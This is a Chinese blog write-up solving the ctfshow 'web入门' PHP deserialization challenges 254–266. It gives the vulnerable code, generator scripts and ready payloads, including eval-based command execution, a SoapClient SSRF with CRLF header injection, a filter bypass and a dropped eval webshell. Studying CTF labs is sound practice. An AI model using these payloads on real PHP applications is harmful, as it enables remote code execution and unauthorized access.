ctfshow web入门 反序列化 前篇 254-266
这里266后面主要是框架,以后在讲
反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结
web254
<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这里分析一下,我们通过get可以传参两个值,这里他会自动new一个类,我们传的参就会被送入login中做强比较,只要我们传入的值等于$username和$password的值,我们就可以获得flag了
payload: ?username=xxxxxx&password=xxxxxx
web255
<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这里和有一些是不一样的,就是我们通过cookie传参,还要进行一次反序列化,而且不会讲isVIP的值设置成true了,所以需要我们自己设置一下。
<?phpclass ctfShowUser{public $isVip=true;
}echo urlencode(serialize(new ctfShowUser));
payload:get传: ?username=xxxxxx&password=xxxxxxcookie传: user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22true%22%3B%7D
web256
<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']); if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}
这里主要的就是这两部分,首先我们传入的值要等于他的值,然后username和password属性不能相等
public function login($u,$p){return $this->username===$u&&$this->password===$p;}if($this->username!==$this->password){echo "your flag is ".$flag;}
这里我们生成序列化,设置username为a,password为b,然后get传值a和b就可以了,注意如果下面使用了数字记得用引号包裹,因为我们通过get传输的值是字符串类型的,如果我们这里设置了整数型,那么这两个是不相等的。
<?phpclass ctfShowUser{public $username='a';public $password='b'; public $isVip=true;
}echo urlencode(serialize(new ctfShowUser));
payload:get传:?username=a&password=bcookie传:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?phperror_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}
这里我们注意,先触发__construct,就是给class new了一个info类,他在最后会触发__destruct魔术方法,类中对应的getInfo()方法,但是backDoor类中才可以,我们可以任意命令执行,所以我们要将类执行backDoor。
他原本是用的是private,但是这个版本我们可以使用public
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public $class;
}
class backDoor{public $code="system('cat flag.php');";
}$a = new ctfShowUser;
$a -> class = new backDoor;
echo urlencode(serialize($a));
payload: //flag在源代码中查看get传:?username=xxxxxx&password=xxxxxxcookie传: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web258
<?phperror_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}
这里相对于web257就加了一个过滤,这里我们可以使用加号绕过
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public $class;
}
class backDoor{public $code="system('cat flag.php');";
}$a = new ctfShowUser;
$a -> class = new backDoor;
$b=serialize($a);
$b = str_replace("O:11","O:+11",$b);
$b = str_replace("O:8","O:+8",$b);
echo urlencode($b);
payload: //flag在源代码中查看get传:?username=xxxxxx&password=xxxxxxcookie传: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D
web259
<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
//flag.php
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}
这里进去只有第一个代码,第二个是题目给我们的,这里扫描目录没有发现其他东西,那么证明基本就只有这两个东西。
这里flag.php中,这段代码只能在本地运行,因为它只接受来自本地IP地址(127.0.0.1)的请求,因为他只能接受本地的ip请求,那么我们的ip在怎么修改也不可能是127.0.0.1,除非存在类似ssrf之类的漏洞。
这里第一段代码其实可以可以触发__call魔术方法,那么我们其实可以利用SoapClient类
具体理解可以去看我写的php反序列化总结-原生类-SoapClient
接下来我们先本地看看,嗯,没有什么问题
<?php$a = new SoapClient(null, array('location'=>'http://192.168.31.154:54321','user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",'uri'=>'http://192.168.31.154:54321'));
$a -> a();
这里我们通过,分隔,array_pop会弹出两个,获取第一个
就是说我们传入1.1.1.1,2.2.2.2,3.3.3.3
最后赋值给$ip的只有1.1.1.1
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
//最终payload
<?php$a = new SoapClient(null, array('location'=>'http://127.0.0.1/flag.php','user_agent'=> "aaa\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",'uri'=>'hhttp://127.0.0.1/flag.php'));
echo urlencode(serialize($a));
//传入以后访问flag.txt,获得flag
payload: get传入: ?vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A26%3A%22hhttp%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A137%3A%22aaa%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
web260
<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}
分析这里他是有进行正则匹配的,只要通过serialize序列化以后还有包括ctfshow_i_love_36D他就会输出flag,但是说只要传传入ctfshow_i_love_36D就会肯定有这个字符串
payload:get传:?ctfshow=ctfshow_i_love_36D
web261
<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);
这里我们分析一下,有两个利用点
public function __invoke(){eval($this->code);} public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
但是说第一个eval就是一个陷阱,因为没有地方可以触发__invoke魔术方法
所以我们要触发file_put_contents
注意这里__unserialize是比__wakup优先的,这里赋值了code等于username加上password的值
public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}
继续分析这里这里code,code等于的是一个16进制0x36d,所以就是要弱等于877,所以我们可以让username为877.php,他会检测到点就会停止,所以可以通过判断
public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
//最终payload
<?php
class ctfshowvip{public $username="877.php";public $password='<?php eval($_POST[a]);?>';
}echo serialize(new ctfshowvip);
//然后访问887.php,通过一句话木马获得flag
payload:get传:?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";}
web262
<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);
喵的,我是真的没有看到上面还有一个message.php,扫目录扫了这么久,藏在这里我是真的没有想到
//message.php源码
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}
方法1:
我们这里知道了获得flag的条件肯定是直接进行修改token属性的值了呗。
//payload1
<?php
class message{public $token="admin";
}echo base64_encode(serialize(new message));
payload:cookie传:msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
方法二
按正常方法来我们肯定要使用字符串逃逸的
分析第一段代码,首先我们只能操作的只有f、m、t三个参数,要使token为admin就要覆盖token,我们创建一个token。
首先我们在本地正常序列化一段他的值,那么下面就是我们需要通过增加来拼接的段
";s:5:"token";s:5:"admin";} //长度27
那么就需要27个fuck,来往后移他的值,这里在本地给大家演示一下
<?php
class message{public $from="1";public $msg="1";public $to='fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';public $token='user';
}$a=serialize(new message);
$umsg = str_replace('fuck', 'loveU', $a);
echo $a.PHP_EOL;
echo $umsg.PHP_EOL;
var_dump(unserialize($umsg));
通过本地演示,我们就可以知道他是用";s:5:"token";s:5:"admin";}和前面拼接,那么后面的值就被当成垃圾了
O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"1";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}object(message)#1 (4) {["from"]=>string(1) "1"["msg"]=>string(1) "1"["to"]=>string(135) "loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU"["token"]=>string(5) "admin"
}
payload:get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
//传输好后,他就自动将序列化的值传入cookie msg中,访问message.php就可以获得flag
web263
看这里,因为比较多,我重新搞一篇写这个
ctfshow web入门 反序列化 263
web264
刚一看,差点以为看错了,题目打开错了,但是仔细看还是有一些去区别,就是262从cookie传参变成了session传参,那么就没有第一种方法了
但是他是session的值,我们不能修改,但是session的名还是可以的
payload:get传:?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}cookie传:msg=1
web265
<?phperror_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}
这里token他是等于一个随机值的md5,因为没有设置种子的原因, 我们是无法预测他的值是多少,但是password的值要和他相等,看似不可能,但是我们可以将token的值复制给password,那么他们的值一定相等。
//payload
<?php
class ctfshowAdmin{public $token;public $password;}$a = new ctfshowAdmin;
$a -> token = &$a -> password;echo serialize($a);
payload:get传:?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
web266
<?phphighlight_file(__FILE__);include('flag.php');
$cs = file_get_contents('php://input');class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}
这里我们分析一下,因为php://input,那么$cs的值就是我们post传递的值,这里只要__destruct魔术方法执行,我们就可以获得flag,但是这里有一个判断只要我们传输的值有ctfshow就触发自定义报错,那么__destruct就不会执行。
这里我们可以使用大小写来绕过,比较他没有加i,就不会检测大小写。
//payload
<?phpclass ctfshow{public $username;public $password;
}$a = serialize(new ctfshow);
echo str_replace("ctfshow","CTFSHOW",$a);
payload:post传:O:7:"CTFSHOW":2:{s:8:"username";N;s:8:"password";N;}
//注意这里可以使用burp
ctfshow web入门 反序列化 前篇 254-266相关推荐
- Ctfshow web入门 PHP特性篇 web89-web151 全
web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...
- ctfshow web入门-反序列化
反序列化中常用的魔术方法:__wakeup() //执行unserialize()时,先会调用这个函数__sleep() //执行serialize()时,先会调用这个函数__destruct() / ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- CTFShow web入门题刷题记录
CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- [ctfshow]web入门——文件上传(web156-web163)
[ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...
- 无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...
- ctfshow web入门-XXE
ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...
最新文章
- windowsclient开发--为你的client进行国际化
- mysql insert 的时候时间给默认值
- chrome自动调节窗口大小插件_高效使用Chrome浏览器的10个技巧
- 8.11zju集训日记
- Qt Creator使用CVS
- 配置快捷键让Total Commander跳转到某个目录
- 95-860-045-源码-定时器-InternalTimerService
- 西部数码linux云服务器,linux云服务器选择哪个版本
- 基本排序算法[python实现]
- mysql数据库优化skip_优化配置mysql数据库优化
- LeetCode 111. Minimum Depth of Binary Tree (二叉树最小的深度)
- fir.im Weekly - 工欲善其事,必先利其器
- 2015/7/24 (等待回调,结果是盘中回调,盘末拉升,错过了进仓机会吗?详情进入...
- 基于R语言的Meta分析(全流程、不确定性分析)方法与Meta机器学习
- mysql集群原理剖析
- 对话状态跟踪学习笔记
- Vue脚手架安装详解
- EndNote登录或注册方法
- vue vuex和pinia(菠萝)的区别
- 什么是函数的副作用——理解js编程中函数的副作用